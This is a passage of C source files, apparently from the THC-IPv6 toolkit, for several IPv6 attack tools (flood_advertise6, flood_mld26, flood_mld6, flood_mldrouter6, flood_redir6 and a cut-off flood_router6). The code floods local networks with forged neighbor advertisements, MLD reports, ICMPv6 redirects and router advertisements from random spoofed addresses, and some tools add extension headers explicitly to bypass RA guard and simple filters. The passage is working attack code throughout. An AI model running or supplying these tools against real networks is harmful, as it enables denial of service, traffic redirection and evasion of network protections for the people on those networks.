4]); 94 | else 95 | src6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); 96 | 97 | if (mac == NULL || src6 == NULL) { 98 | fprintf(stderr, "Error: invalid interface %s or invalid mac/ip defined\n", 99 | interface); 100 | exit(-1); 101 | } 102 | 103 | memset(buf, 0, sizeof(buf)); 104 | memcpy(buf, unicast6, 16); 105 | buf[16] = 1; 106 | buf[17] = 1; 107 | memcpy(&buf[18], mac, 6); 108 | flags = 0; // ICMP6_NEIGHBORADV_OVERRIDE; 109 | memset(buf2, 0, sizeof(buf2)); 110 | memset(buf3, 0, sizeof(buf3)); 111 | 112 | if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6, 113 | 0, 0, 0, 0, 0)) == NULL) 114 | return -1; 115 | if (do_hop) { 116 | type = NXT_HBH; 117 | if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0) 118 | return -1; 119 | } 120 | if (do_frag) { 121 | if (type == NXT_ICMP6) type = NXT_FRAG; 122 | for (i = 0; i <= do_frag; i++) 123 | if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1; 124 | } 125 | if (do_dst) { 126 | if (type == NXT_ICMP6) type = NXT_DST; 127 | if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1; 128 | } 129 | if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORSOL, 0, flags, 130 | (unsigned char *)&buf, 24, 0) < 0) 131 | return -1; 132 | if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) { 133 | fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); 134 | exit(-1); 135 | } 136 | 137 | printf("Starting solicitation of %s (Press Control-C to end)\n", 138 | argv[optind + 1]); 139 | while (1) { 140 | if (do_dst) { 141 | hdr = (thc_ipv6_hdr *)pkt1; 142 | thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, 143 | hdr->pkt_len - 40 - offset, 1240); 144 | } else { 145 | thc_send_pkt(interface, pkt1, &pkt1_len); 146 | } 147 | sleep(5); 148 | } 149 | 150 | return 0; 151 | } 152 | -------------------------------------------------------------------------------- /flood_advertise6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-k | -m mac] interface [target]\n\n", prg); 16 | printf("Flood the local network with neighbor advertisements.\n"); 17 | printf( 18 | "Option -k sends with your real src mac, -m with a specified src mac, " 19 | "random for each packet otherwise.\n"); 20 | // printf("Use -r to use raw mode.\n\n"); 21 | exit(-1); 22 | } 23 | 24 | int main(int argc, char *argv[]) { 25 | char * interface, mac[6] = ""; 26 | unsigned char *mac6 = mac, *ip6; 27 | unsigned char buf[24], srcmac[8] = "", *smac = NULL; 28 | unsigned char *dst = thc_resolve6("ff02::1"), 29 | *dstmac = thc_get_multicast_mac(dst); 30 | int i; 31 | unsigned char *pkt = NULL; 32 | int pkt_len = 0, flags, rawmode = 0, count = 0, prefer = PREFER_LINK, 33 | keepmac = 0; 34 | 35 | if (argc > 2 && strncmp(argv[1], "-k", 2) == 0) { 36 | keepmac = 1; 37 | if ((smac = thc_get_own_mac(argv[2])) == NULL) { 38 | fprintf(stderr, "Error: invalid interface %s\n", argv[2]); 39 | exit(-1); 40 | } 41 | argv++; 42 | argc--; 43 | } 44 | if (argc > 2 && strncmp(argv[1], "-m", 2) == 0) { 45 | sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], 46 | (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], 47 | (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], 48 | (unsigned int *)&srcmac[5]); 49 | smac = srcmac; 50 | argv += 2; 51 | argc -= 2; 52 | } 53 | if (smac != NULL) mac6 = smac; 54 | 55 | if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 56 | 57 | srand(time(NULL) + getpid()); 58 | setvbuf(stdout, NULL, _IONBF, 0); 59 | 60 | interface = argv[1]; 61 | if (thc_get_own_mac(interface) == NULL) { 62 | fprintf(stderr, "Error: invalid interface %s\n", interface); 63 | exit(-1); 64 | } 65 | if (argc == 3) { 66 | if ((dst = thc_resolve6(argv[2])) == NULL) { 67 | fprintf(stderr, "Error: invalid target IPv6 address\n"); 68 | exit(-1); 69 | } else { 70 | dstmac = thc_get_mac(interface, NULL, dst); 71 | } 72 | if (dst[0] >= 0x20 && dst[0] <= 0xfd) prefer = PREFER_GLOBAL; 73 | } 74 | 75 | ip6 = thc_get_own_ipv6(interface, dst, prefer); 76 | 77 | mac[0] = 0x00; 78 | mac[1] = 0x18; 79 | memset(ip6 + 8, 0, 8); 80 | ip6[8] = 0x02; 81 | ip6[9] = mac[1]; 82 | ip6[11] = 0xff; 83 | ip6[12] = 0xfe; 84 | memset(buf, 0, sizeof(buf)); 85 | buf[16] = 2; 86 | buf[17] = 1; 87 | buf[18] = mac[0]; 88 | buf[19] = mac[1]; 89 | memcpy(buf, ip6, 16); 90 | flags = ICMP6_NEIGHBORADV_OVERRIDE; 91 | 92 | printf( 93 | "Starting to flood network with neighbor advertisements on %s (Press " 94 | "Control-C to end, a dot is printed for every 1000 packets):\n", 95 | interface); 96 | while (1) { 97 | for (i = 2; i < 6; i++) 98 | mac[i] = rand() % 256; 99 | 100 | // ip6[9] = mac[1]; 101 | ip6[10] = mac[2]; 102 | ip6[13] = mac[3]; 103 | ip6[14] = mac[4]; 104 | ip6[15] = mac[5]; 105 | 106 | count++; 107 | memcpy(buf + 10, ip6 + 10, 6); 108 | memcpy(&buf[20], mac + 2, 4); 109 | 110 | if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, ip6, dst, 111 | 255, 0, 0, 0, 0)) == NULL) 112 | return -1; 113 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, flags, buf, 114 | sizeof(buf), 0) < 0) 115 | return -1; 116 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { 117 | // fprintf(stderr, "Error sending packet no. %d on interface %s: ", 118 | // count, interface); perror(""); return -1; 119 | printf("!"); 120 | } 121 | 122 | pkt = thc_destroy_packet(pkt); 123 | // usleep(1); 124 | if (count % 1000 == 0) printf("."); 125 | } 126 | return 0; 127 | } 128 | -------------------------------------------------------------------------------- /flood_mld26.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | #define RECORD_NUMBER ((1500 - 40 - 6 - 8) / (4 + 16 + 16)) 14 | 15 | void help(char *prg) { 16 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 17 | printf("Syntax: %s interface [target] [max_count]\n\n", prg); 18 | printf("Flood the local network with MLDv2 reports.\n"); 19 | // printf("Use -r to use raw mode.\n\n"); 20 | exit(-1); 21 | } 22 | 23 | int main(int argc, char *argv[]) { 24 | char * interface, mac[6] = ""; 25 | unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); 26 | unsigned char buf[6], buf2[RECORD_NUMBER * (4 + 16 + 16)]; 27 | unsigned char *dst = thc_resolve6("ff02::16"), 28 | *dstmac = thc_get_multicast_mac(dst); 29 | int i, j, prefer = PREFER_LINK; 30 | unsigned char *pkt = NULL; 31 | int pkt_len = 0; 32 | int rawmode = 0; 33 | int count = 0, max_count; 34 | 35 | if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 36 | 37 | if (strcmp(argv[1], "-r") == 0) { 38 | thc_ipv6_rawmode(1); 39 | rawmode = 1; 40 | argv++; 41 | argc--; 42 | } 43 | 44 | srand(time(NULL) + getpid()); 45 | setvbuf(stdout, NULL, _IONBF, 0); 46 | 47 | interface = argv[1]; 48 | if (thc_get_own_mac(interface) == NULL) { 49 | fprintf(stderr, "Error: invalid interface %s\n", interface); 50 | exit(-1); 51 | } 52 | if (argc > 2) { 53 | if ((dst = thc_resolve6(argv[2])) == NULL) { 54 | fprintf(stderr, "Error: can not resolve %s\n", argv[2]); 55 | exit(-1); 56 | } 57 | if (dst[0] >= 0x20 && dst[0] <= 0xfd) { 58 | prefer = PREFER_GLOBAL; 59 | ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); 60 | } 61 | } 62 | if (argc > 3) 63 | sscanf(argv[3], "%d", &max_count); 64 | else 65 | max_count = 0; 66 | 67 | mac[0] = 0x00; 68 | mac[1] = 0x18; 69 | ip6[9] = mac[1]; 70 | memset(buf, 0, sizeof(buf)); 71 | buf[0] = 5; 72 | buf[1] = 2; 73 | memset(buf2, 0, sizeof(buf2)); 74 | for (i = 0; i < RECORD_NUMBER; i++) { 75 | buf2[0 + i * 36] = 3; // CHANGE_TO_INCLUDE_MODE 76 | buf2[3 + i * 36] = 1; 77 | buf2[4 + i * 36] = 0xff; 78 | buf2[5 + i * 36] = 0x0d; 79 | memcpy(buf2 + 20 + i * 36, ip6, 16); 80 | } 81 | 82 | printf( 83 | "Starting to flood network with MLDv2 reports on %s (Press Control-C to " 84 | "end, a dot is printed for every 1000 packets):\n", 85 | interface); 86 | while (1) { 87 | for (i = 0; i < 4; i++) 88 | mac[2 + i] = rand() % 256; 89 | 90 | // ip6[9] = mac[1]; 91 | ip6[10] = mac[2]; 92 | ip6[13] = mac[3]; 93 | ip6[14] = mac[4]; 94 | ip6[15] = mac[5]; 95 | 96 | for (i = 0; i < RECORD_NUMBER; i++) { 97 | for (j = 0; j < 6; j++) 98 | buf2[14 + j + i * 36] = rand() % 256; 99 | memcpy(buf2 + 29 + i * 36, ip6 + 9, 7); 100 | } 101 | count++; 102 | 103 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, 104 | dst, 1, 0, 0, 0, 0)) == NULL) 105 | return -1; 106 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; 107 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD2_REPORT, 0, RECORD_NUMBER, buf2, 108 | sizeof(buf2), 0) < 0) 109 | return -1; 110 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { 111 | // fprintf(stderr, "Error sending packet no. %d on interface %s: ", 112 | // count, interface); perror(""); return -1; 113 | printf("!"); 114 | } 115 | 116 | pkt = thc_destroy_packet(pkt); 117 | // usleep(1); 118 | if (count % 1000 == 0) printf("."); 119 | if (max_count && count == max_count) return 0; 120 | } 121 | return 0; 122 | } 123 | -------------------------------------------------------------------------------- /flood_mld6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s interface [target]\n\n", prg); 16 | printf("Flood the local network with MLD reports.\n"); 17 | // printf("Use -r to use raw mode.\n\n"); 18 | exit(-1); 19 | } 20 | 21 | int main(int argc, char *argv[]) { 22 | char * interface, mac[6] = ""; 23 | unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); 24 | unsigned char buf[6], buf2[16]; 25 | unsigned char *dst = thc_resolve6("ff02::2"), 26 | *dstmac = thc_get_multicast_mac(dst); 27 | int i; 28 | unsigned char *pkt = NULL; 29 | int pkt_len = 0; 30 | int rawmode = 0; 31 | int count = 0; 32 | 33 | if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 34 | 35 | if (strcmp(argv[1], "-r") == 0) { 36 | thc_ipv6_rawmode(1); 37 | rawmode = 1; 38 | argv++; 39 | argc--; 40 | } 41 | 42 | srand(time(NULL) + getpid()); 43 | setvbuf(stdout, NULL, _IONBF, 0); 44 | 45 | interface = argv[1]; 46 | if (thc_get_own_mac(interface) == NULL) { 47 | fprintf(stderr, "Error: invalid interface %s\n", interface); 48 | exit(-1); 49 | } 50 | if (argc > 2) { 51 | if ((dst = thc_resolve6(argv[2])) == NULL) { 52 | fprintf(stderr, "Error: can not resolve %s\n", argv[2]); 53 | exit(-1); 54 | } 55 | if (dst[0] >= 0x20 && dst[0] <= 0xfd) 56 | ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); 57 | } 58 | 59 | mac[0] = 0x00; 60 | mac[1] = 0x18; 61 | ip6[9] = mac[1]; 62 | memset(buf, 0, sizeof(buf)); 63 | buf[0] = 5; 64 | buf[1] = 2; 65 | memset(buf2, 0, sizeof(buf2)); 66 | buf2[0] = 0xff; 67 | buf2[1] = 0x0d; 68 | 69 | printf( 70 | "Starting to flood network with MLD reports on %s (Press Control-C to " 71 | "end, a dot is printed for every 1000 packets):\n", 72 | interface); 73 | while (1) { 74 | for (i = 0; i < 6; i++) 75 | buf2[10 + i] = rand() % 256; 76 | for (i = 0; i < 4; i++) 77 | mac[2 + i] = rand() % 256; 78 | 79 | // ip6[9] = mac[1]; 80 | ip6[10] = mac[2]; 81 | ip6[13] = mac[3]; 82 | ip6[14] = mac[4]; 83 | ip6[15] = mac[5]; 84 | count++; 85 | 86 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, 87 | dst, 1, 0, 0, 0, 0)) == NULL) 88 | return -1; 89 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf, 6) < 0) return -1; 90 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_REPORT, 0, 0, buf2, sizeof(buf2), 91 | 0) < 0) 92 | return -1; 93 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { 94 | // fprintf(stderr, "Error sending packet no. %d on interface %s: ", 95 | // count, interface); perror(""); return -1; 96 | printf("!"); 97 | } 98 | 99 | pkt = thc_destroy_packet(pkt); 100 | // usleep(1); 101 | if (count % 1000 == 0) printf("."); 102 | } 103 | return 0; 104 | } 105 | -------------------------------------------------------------------------------- /flood_mldrouter6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s interface [target]\n\n", prg); 16 | printf("Flood the local network with MLD router advertisements.\n"); 17 | // printf("Use -r to use raw mode.\n\n"); 18 | exit(-1); 19 | } 20 | 21 | int main(int argc, char *argv[]) { 22 | char * interface, mac[6] = ""; 23 | unsigned char *mac6 = mac, *ip6 = thc_resolve6("fe80::ff:fe00:0"); 24 | unsigned char buf[6]; 25 | unsigned char *dst = thc_resolve6("ff02::6a"), 26 | *dstmac = thc_get_multicast_mac(dst); 27 | int i; 28 | unsigned char *pkt = NULL; 29 | int pkt_len = 0; 30 | int rawmode = 0; 31 | int count = 0; 32 | 33 | if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 34 | 35 | if (strcmp(argv[1], "-r") == 0) { 36 | thc_ipv6_rawmode(1); 37 | rawmode = 1; 38 | argv++; 39 | argc--; 40 | } 41 | 42 | srand(time(NULL) + getpid()); 43 | setvbuf(stdout, NULL, _IONBF, 0); 44 | 45 | interface = argv[1]; 46 | if (thc_get_own_mac(interface) == NULL) { 47 | fprintf(stderr, "Error: invalid interface %s\n", interface); 48 | exit(-1); 49 | } 50 | if (argc > 2) { 51 | if ((dst = thc_resolve6(argv[2])) == NULL) { 52 | fprintf(stderr, "Error: can not resolve %s\n", argv[2]); 53 | exit(-1); 54 | } 55 | if (dst[0] >= 0x20 && dst[0] <= 0xfd) 56 | ip6 = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); 57 | } 58 | 59 | memset(buf, 0, sizeof(buf)); 60 | mac[0] = 0x00; 61 | mac[1] = 0x18; 62 | ip6[9] = mac[1]; 63 | 64 | printf( 65 | "Starting to flood network with MLD router advertisements on %s (Press " 66 | "Control-C to end, a dot is printed for every 1000 packets):\n", 67 | interface); 68 | while (1) { 69 | for (i = 0; i < 4; i++) 70 | mac[2 + i] = rand() % 256; 71 | 72 | // ip6[9] = mac[1]; 73 | ip6[10] = mac[2]; 74 | ip6[13] = mac[3]; 75 | ip6[14] = mac[4]; 76 | ip6[15] = mac[5]; 77 | count++; 78 | 79 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, 80 | dst, 1, 0, 0, 0, 0)) == NULL) 81 | return -1; 82 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_MLD_ROUTERADV, 15, 0x00300006, buf, 83 | 0, 0) < 0) 84 | return -1; 85 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { 86 | // fprintf(stderr, "Error sending packet no. %d on interface %s: ", 87 | // count, interface); perror(""); return -1; 88 | printf("!"); 89 | } 90 | 91 | pkt = thc_destroy_packet(pkt); 92 | // usleep(1); 93 | if (count % 1000 == 0) printf("."); 94 | } 95 | return 0; 96 | } 97 | -------------------------------------------------------------------------------- /flood_redir6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-HFD] interface [target] [oldrouter [newrouter]]\n\n", 16 | prg); 17 | printf("Flood the local network with ICMPv6 redirect packets.\n"); 18 | printf( 19 | "-F/-D/-H add fragment/destination/hopbyhop header to bypass simple " 20 | "filters\n"); 21 | printf("-a adds hopbyhop with router alert\n"); 22 | // printf("Use -r to use raw mode.\n\n"); 23 | exit(-1); 24 | } 25 | 26 | int main(int argc, char *argv[]) { 27 | char * interface, mac[6] = "", newroutermac[6]; 28 | unsigned char *mac6 = mac; 29 | unsigned char buf[1460], buf2[6], buf3[1504]; 30 | unsigned char *dst = thc_resolve6("ff02::1"), *fake_src = NULL, 31 | *fake_dst = NULL, *dstmac = NULL, *oldrouter = NULL, 32 | *newrouter = NULL; 33 | int i, j, k, type = NXT_ICMP6, offset = 14, rand_newrouter = 1; 34 | unsigned char *pkt = NULL, *pkt2 = NULL; 35 | int pkt_len = 0, pkt_len2 = 0, rawmode = 0, count = 0, do_alert = 0, 36 | do_hop = 0, do_frag = 0, do_dst = 0; 37 | int until = 0; 38 | thc_ipv6_hdr *hdr = NULL, *hdr2 = NULL; 39 | 40 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 41 | 42 | while ((i = getopt(argc, argv, "aDFH")) >= 0) { 43 | switch (i) { 44 | case 'F': 45 | do_frag++; 46 | break; 47 | case 'H': 48 | do_hop = 1; 49 | break; 50 | case 'a': 51 | do_alert = 1; 52 | do_hop = 1; 53 | break; 54 | case 'D': 55 | do_dst = 1; 56 | break; 57 | default: 58 | fprintf(stderr, "Error: invalid option %c\n", i); 59 | exit(-1); 60 | } 61 | } 62 | 63 | if (argc - optind < 1) help(argv[0]); 64 | 65 | srand(time(NULL) + getpid()); 66 | setvbuf(stdout, NULL, _IONBF, 0); 67 | 68 | interface = argv[optind]; 69 | if (argc - optind > 1) { 70 | dst = thc_resolve6(argv[optind + 1]); 71 | fake_src = dst; 72 | } else 73 | fake_src = thc_resolve6("fe80::"); 74 | dstmac = thc_get_multicast_mac(dst); 75 | if (argc - optind > 2) { 76 | oldrouter = thc_resolve6(argv[optind + 2]); 77 | if ((mac6 = thc_get_mac(interface, NULL, dst)) == NULL) 78 | mac6 = thc_get_own_mac(interface); 79 | } else { 80 | if (dst[0] >= 0x20 && dst[0] <= 0xfd) 81 | oldrouter = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); 82 | else 83 | oldrouter = thc_get_own_ipv6(interface, dst, PREFER_LINK); 84 | mac6 = thc_get_own_mac(interface); 85 | } 86 | if (mac6 == NULL) { 87 | fprintf(stderr, "Error: invalid interface %s\n", interface); 88 | exit(-1); 89 | } 90 | if (argc - optind > 3) { 91 | newrouter = thc_resolve6(argv[optind + 2]); 92 | rand_newrouter = 0; 93 | } else 94 | newrouter = thc_resolve6("fe80::2"); 95 | fake_dst = thc_resolve6("2004::1"); 96 | memset(newroutermac, 0, 6); 97 | 98 | if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len2, 99 | fake_src, fake_dst, 0, 0, 0, 0, 0)) == 100 | NULL) 101 | return -1; 102 | if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PING, 0, 0, NULL, 0, 0) < 0) 103 | return -1; 104 | thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); 105 | hdr = (thc_ipv6_hdr *)pkt2; 106 | 107 | k = rand(); 108 | newroutermac[1] = 2; 109 | memcpy(newroutermac + 2, (char *)&k + _TAKE4, 4); 110 | k++; 111 | 112 | if (do_hdr_size) offset = do_hdr_size; 113 | 114 | memset(buf2, 0, sizeof(buf2)); 115 | memset(buf3, 0, sizeof(buf3)); 116 | memset(buf, 0, sizeof(buf)); 117 | 118 | j = 0; 119 | buf[j++] = 0; // etc. 120 | memcpy(buf, newrouter, 16); 121 | memcpy(buf + 16, fake_dst, 16); 122 | buf[32] = 2; 123 | buf[33] = 1; 124 | memcpy(buf + 34, newroutermac, 6); 125 | buf[40] = 4; 126 | buf[41] = (hdr->pkt_len - offset + 8) / 8; 127 | memcpy(buf + 48, hdr->pkt + offset, (buf[41] - 1) * 8); 128 | j = 40 + buf[41] * 8; 129 | 130 | if (do_alert) { 131 | buf2[0] = 5; 132 | buf2[1] = 2; 133 | } 134 | 135 | printf( 136 | "Starting to flood with ICMPv6 redirects on %s (Press Control-C to end, " 137 | "a dot is printed for every 1000 packets):\n", 138 | interface); 139 | while (until != 1) { 140 | if (rand_newrouter) memcpy(buf + 8, (char *)&k + _TAKE4, 4); // new router 141 | memcpy(buf + 16 + 2, (char *)&k + _TAKE4, 4); // orig dst 142 | memcpy(buf + 34 + 2, (char *)&k + _TAKE4, 4); // new router mac 143 | k++; 144 | count++; 145 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, 146 | oldrouter, dst, 255, 0, 0, 0, 0)) == 147 | NULL) 148 | return -1; 149 | if (do_hop) { 150 | type = NXT_HBH; 151 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) 152 | return -1; 153 | } 154 | if (do_frag) { 155 | if (type == NXT_ICMP6) type = NXT_FRAG; 156 | for (i = 0; i < do_frag; i++) 157 | if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0) 158 | return -1; 159 | } 160 | if (do_dst) { 161 | if (type == NXT_ICMP6) type = NXT_DST; 162 | if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; 163 | } 164 | 165 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_REDIR, 0, 0, buf, j, 0) < 0) 166 | return -1; 167 | 168 | if (do_dst) { 169 | thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); 170 | hdr2 = (thc_ipv6_hdr *)pkt; 171 | thc_send_as_fragment6(interface, oldrouter, dst, type, 172 | hdr2->pkt + 40 + offset, 173 | hdr2->pkt_len - 40 - offset, 1240); 174 | } else { 175 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 176 | 0) { 177 | printf("!"); 178 | } 179 | } 180 | 181 | pkt = thc_destroy_packet(pkt); 182 | // usleep(1); 183 | if (count % 1000 == 0) printf("."); 184 | if (until > 1) until--; 185 | } 186 | 187 | return 0; 188 | } 189 | -------------------------------------------------------------------------------- /flood_router6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include "thc-ipv6.h" 12 | 13 | void help(char *prg) { 14 | printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); 15 | printf("Syntax: %s [-HFD] interface\n\n", prg); 16 | printf("Flood the local network with router advertisements.\n"); 17 | printf( 18 | "-F/-D/-H add fragment/destination/hopbyhop header to bypass RA guard " 19 | "security.\n"); 20 | 21 | // printf("Use -r to use raw mode.\n\n"); 22 | exit(-1); 23 | } 24 | 25 | int main(int argc, char *argv[]) { 26 | char * interface, mac[6] = ""; 27 | unsigned char *routerip6, *route6, *mac6 = mac, *ip6; 28 | unsigned char buf[56], buf2[6], buf3[1504]; 29 | unsigned char *dst = thc_resolve6("ff02::1"), 30 | *dstmac = thc_get_multicast_mac(dst); 31 | int size, mtu, i, type = NXT_ICMP6; 32 | unsigned char *pkt = NULL; 33 | int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, 34 | do_dst = 0, offset = 14; 35 | thc_ipv6_hdr *hdr = NULL; 36 | 37 | if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); 38 | 39 | printf( 40 | "!\n! Please note: flood_router6 is deprecated, please use " 41 | "flood_router26!\n!\n\n"); 42 | 43 | while ((i = getopt(argc, argv, "DFHr")) >= 0) { 44 | switch (i) { 45 | case 'r': 46 | thc_ipv6_rawmode(1); 47 | rawmode = 1; 48 | break; 49 | case 'F': 50 | do_frag++; 51 | break; 52 | case 'H': 53 | do_hop = 1; 54 | break; 55 | case 'D': 56 | do_dst = 1; 57 | break; 58 | default: 59 | fprintf(stderr, "Error: invalid option %c\n", i); 60 | exit(-1); 61 | } 62 | } 63 | 64 | if (argc - optind < 1) help(argv[0]); 65 | 66 | srand(time(NULL) + getpid()); 67 | setvbuf(stdout, NULL, _IONBF, 0); 68 | 69 | interface = argv[optind]; 70 | mtu = 1500; 71 | size = 64; 72 | ip6 = malloc(16); 73 | routerip6 = malloc(16); 74 | route6 = malloc(16); 75 | if (do_hdr_size) offset = do_hdr_size; 76 | 77 | mac[0] = 0x00; 78 | mac[1] = 0x18; 79 | memset(ip6, 0, 16); 80 | ip6[0] = 0xfe; 81 | ip6[1] = 0x80; 82 | ip6[8] = 0x02; 83 | ip6[9] = mac[1]; 84 | ip6[11] = 0xff; 85 | ip6[12] = 0xfe; 86 | routerip6[0] = 0x2a; 87 | routerip6[1] = 0x01; 88 | routerip6[15] = 0x01; 89 | memset(route6 + 8, 0, 8); 90 | 91 | memset(buf2, 0, sizeof(buf2)); 92 | memset(buf3, 0, sizeof(buf3)); 93 | 94 | memset(buf, 0, sizeof(buf)); 95 | buf[1] = 250; 96 | buf[5] = 30; 97 | buf[8] = 5; 98 | buf[9] = 1; 99 | buf[12] = mtu / 16777216; 100 | buf[13] = (mtu % 16777216) / 65536; 101 | buf[14] = (mtu % 65536) / 256; 102 | buf[15] = mtu % 256; 103 | buf[16] = 3; 104 | buf[17] = 4; 105 | buf[18] = size; 106 | buf[19] = 128 + 64 + 32; 107 | memset(&buf[20], 255, 8); 108 | buf[48] = 1; 109 | buf[49] = 1; 110 | 111 | printf( 112 | "Starting to flood network with router advertisements on %s (Press " 113 | "Control-C to end, a dot is printed for every 1000 packets):\n", 114 | interface); 115 | while (1) { 116 | for (i = 2; i < 6; i++) 117 | mac[i] = rand() % 256; 118 | for (i = 2; i < 8; i++) 119 | routerip6[i] = rand() % 256; 120 | 121 | // ip6[9] = mac[1]; 122 | ip6[10] = mac[2]; 123 | ip6[13] = mac[3]; 124 | ip6[14] = mac[4]; 125 | ip6[15] = mac[5]; 126 | memcpy(route6, routerip6, 8); 127 | memcpy(&buf[32], route6, 16); 128 | memcpy(&buf[50], mac6, 6); 129 | 130 | count++; 131 | 132 | if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, 133 | dst, 255, 0, 0, 0, 0)) == NULL) 134 | return -1; 135 | if (do_hop) { 136 | type = NXT_HBH; 137 | if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) 138 | return -1; 139 | } 140 | if (do_frag) { 141 | if (type == NXT_ICMP6) type = NXT_FRAG; 142 | for (i = 0; i < do_frag; i++) 143 | if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; 144 | } 145 | if (do_dst) { 146 | if (type == NXT_ICMP6) type = NXT_DST; 147 | if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; 148 | } 149 | if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, 150 | sizeof(buf), 0) < 0) 151 | return -1; 152 | if (do_dst) { 153 | thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); 154 | hdr = (thc_ipv6_hdr *)pkt; 155 | thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + offset, 156 | hdr->pkt_len - 40 - offset, 1240); 157 | } else { 158 | if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 159 | 0) { 160 | printf("!"); 161 | // fprintf(stderr, "Error sending packet no. %d on interface %s: 162 | // ", count, interface); perror(""); return -1; 163 | } 164 | } 165 | 